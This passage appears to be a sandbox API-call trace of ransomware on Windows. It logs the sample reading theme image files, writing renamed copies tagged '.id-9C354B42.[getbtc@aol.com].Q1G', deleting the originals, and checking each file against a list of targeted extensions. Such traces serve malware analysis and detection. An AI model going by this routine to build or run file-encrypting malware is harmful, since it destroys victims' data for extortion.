lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.233] SetEndOfFile (hFile=0x184) returned 1 [0047.233] CloseHandle (hObject=0x184) returned 1 [0047.233] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.233] SetEndOfFile (hFile=0x210) returned 1 [0047.234] CloseHandle (hObject=0x210) returned 1 [0047.234] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0047.234] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 1 [0047.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0047.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0047.234] lstrlenW (lpString=".doc") returned 4 [0047.234] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.234] lstrlenW (lpString=".docx") returned 5 [0047.234] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.234] lstrlenW (lpString=".pdf") returned 4 [0047.234] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.234] lstrlenW (lpString=".xls") returned 4 [0047.234] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.234] lstrlenW (lpString=".xlsx") returned 5 [0047.234] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.234] lstrlenW (lpString=".ppt") returned 4 [0047.234] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0047.235] lstrlenW (lpString=".zip") returned 4 [0047.235] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.235] lstrlenW (lpString=".rar") returned 4 [0047.235] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.235] lstrlenW (lpString=".bz2") returned 4 [0047.235] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.235] lstrlenW (lpString=".7z") returned 3 [0047.235] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0047.235] lstrlenW (lpString=".dbf") returned 4 [0047.235] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0047.235] lstrlenW (lpString=".1cd") returned 4 [0047.235] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0047.235] lstrlenW (lpString=".jpg") returned 4 [0047.235] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0047.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0047.235] lstrlenW (lpString=".doc") returned 4 [0047.235] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.235] lstrlenW (lpString=".docx") returned 5 [0047.235] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.235] lstrlenW (lpString=".pdf") returned 4 [0047.235] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.235] lstrlenW (lpString=".xls") returned 4 [0047.235] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.235] lstrlenW (lpString=".xlsx") returned 5 [0047.235] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.235] lstrlenW (lpString=".ppt") returned 4 [0047.235] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0047.235] lstrlenW (lpString=".zip") returned 4 [0047.235] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.236] lstrlenW (lpString=".rar") returned 4 [0047.236] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.236] lstrlenW (lpString=".bz2") returned 4 [0047.236] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.236] lstrlenW (lpString=".7z") returned 3 [0047.236] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0047.236] lstrlenW (lpString=".dbf") returned 4 [0047.236] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0047.236] lstrlenW (lpString=".1cd") returned 4 [0047.236] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0047.236] lstrlenW (lpString=".jpg") returned 4 [0047.236] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.236] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0047.236] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0047.236] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0047.237] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=1659) returned 1 [0047.237] CloseHandle (hObject=0x210) returned 1 [0047.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 0x20 [0047.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0047.237] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0047.237] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.237] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.237] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0047.239] GetLastError () returned 0x0 [0047.239] ReadFile (in: hFile=0x210, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x67b, lpOverlapped=0x0) returned 1 [0047.241] WriteFile (in: hFile=0x184, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x680, lpOverlapped=0x0) returned 1 [0047.242] ReadFile (in: hFile=0x210, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.242] WriteFile (in: hFile=0x184, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.242] SetEndOfFile (hFile=0x184) returned 1 [0047.242] CloseHandle (hObject=0x184) returned 1 [0047.242] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.242] SetEndOfFile (hFile=0x210) returned 1 [0047.243] CloseHandle (hObject=0x210) returned 1 [0047.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0047.243] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 1 [0047.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0047.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0047.243] lstrlenW (lpString=".doc") returned 4 [0047.243] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.243] lstrlenW (lpString=".docx") returned 5 [0047.243] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.243] lstrlenW (lpString=".pdf") returned 4 [0047.243] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.243] lstrlenW (lpString=".xls") returned 4 [0047.243] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.243] lstrlenW (lpString=".xlsx") returned 5 [0047.243] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.243] lstrlenW (lpString=".ppt") returned 4 [0047.243] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0047.244] lstrlenW (lpString=".zip") returned 4 [0047.244] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.244] lstrlenW (lpString=".rar") returned 4 [0047.244] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.244] lstrlenW (lpString=".bz2") returned 4 [0047.244] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.244] lstrlenW (lpString=".7z") returned 3 [0047.244] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0047.244] lstrlenW (lpString=".dbf") returned 4 [0047.244] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0047.244] lstrlenW (lpString=".1cd") returned 4 [0047.244] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0047.244] lstrlenW (lpString=".jpg") returned 4 [0047.244] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0047.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0047.244] lstrlenW (lpString=".doc") returned 4 [0047.244] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.244] lstrlenW (lpString=".docx") returned 5 [0047.244] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.244] lstrlenW (lpString=".pdf") returned 4 [0047.244] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.244] lstrlenW (lpString=".xls") returned 4 [0047.244] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.244] lstrlenW (lpString=".xlsx") returned 5 [0047.244] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.244] lstrlenW (lpString=".ppt") returned 4 [0047.244] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0047.244] lstrlenW (lpString=".zip") returned 4 [0047.244] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.244] lstrlenW (lpString=".rar") returned 4 [0047.245] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.245] lstrlenW (lpString=".bz2") returned 4 [0047.245] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.245] lstrlenW (lpString=".7z") returned 3 [0047.245] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0047.245] lstrlenW (lpString=".dbf") returned 4 [0047.245] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0047.245] lstrlenW (lpString=".1cd") returned 4 [0047.245] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0047.245] lstrlenW (lpString=".jpg") returned 4 [0047.245] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.245] lstrcmpiW (lpString1=".PNG", lpString2=".Q1G") returned -1 [0047.245] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0047.245] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0047.246] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=44850) returned 1 [0047.246] CloseHandle (hObject=0x210) returned 1 [0047.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 0x20 [0047.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0047.246] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0047.246] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.246] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.246] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0047.247] GetLastError () returned 0x0 [0047.247] ReadFile (in: hFile=0x210, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0xaf32, lpOverlapped=0x0) returned 1 [0047.502] WriteFile (in: hFile=0x184, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xaf40, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xaf40, lpOverlapped=0x0) returned 1 [0047.504] ReadFile (in: hFile=0x210, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.504] WriteFile (in: hFile=0x184, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.504] SetEndOfFile (hFile=0x184) returned 1 [0047.504] CloseHandle (hObject=0x184) returned 1 [0047.504] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.504] SetEndOfFile (hFile=0x210) returned 1 [0047.505] CloseHandle (hObject=0x210) returned 1 [0047.505] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0047.505] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 1 [0047.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0047.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0047.506] lstrlenW (lpString=".doc") returned 4 [0047.506] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.506] lstrlenW (lpString=".docx") returned 5 [0047.506] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.506] lstrlenW (lpString=".pdf") returned 4 [0047.506] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.506] lstrlenW (lpString=".xls") returned 4 [0047.506] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.506] lstrlenW (lpString=".xlsx") returned 5 [0047.506] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.506] lstrlenW (lpString=".ppt") returned 4 [0047.506] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0047.506] lstrlenW (lpString=".zip") returned 4 [0047.506] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.506] lstrlenW (lpString=".rar") returned 4 [0047.506] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.506] lstrlenW (lpString=".bz2") returned 4 [0047.506] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.506] lstrlenW (lpString=".7z") returned 3 [0047.506] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0047.506] lstrlenW (lpString=".dbf") returned 4 [0047.506] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0047.506] lstrlenW (lpString=".1cd") returned 4 [0047.506] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0047.506] lstrlenW (lpString=".jpg") returned 4 [0047.507] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0047.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0047.507] lstrlenW (lpString=".doc") returned 4 [0047.507] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.507] lstrlenW (lpString=".docx") returned 5 [0047.507] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.507] lstrlenW (lpString=".pdf") returned 4 [0047.507] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.507] lstrlenW (lpString=".xls") returned 4 [0047.507] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.507] lstrlenW (lpString=".xlsx") returned 5 [0047.507] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.507] lstrlenW (lpString=".ppt") returned 4 [0047.507] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0047.507] lstrlenW (lpString=".zip") returned 4 [0047.507] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.507] lstrlenW (lpString=".rar") returned 4 [0047.507] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.507] lstrlenW (lpString=".bz2") returned 4 [0047.507] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.507] lstrlenW (lpString=".7z") returned 3 [0047.507] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0047.507] lstrlenW (lpString=".dbf") returned 4 [0047.507] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0047.507] lstrlenW (lpString=".1cd") returned 4 [0047.507] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0047.507] lstrlenW (lpString=".jpg") returned 4 [0047.507] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.508] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0047.508] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0047.508] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0047.508] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=2574) returned 1 [0047.508] CloseHandle (hObject=0x210) returned 1 [0047.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 0x20 [0047.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0047.508] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0047.508] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.508] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.508] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0048.018] GetLastError () returned 0x0 [0048.018] ReadFile (in: hFile=0x210, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0xa0e, lpOverlapped=0x0) returned 1 [0048.187] WriteFile (in: hFile=0x184, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xa10, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xa10, lpOverlapped=0x0) returned 1 [0048.188] ReadFile (in: hFile=0x210, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.188] WriteFile (in: hFile=0x184, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: 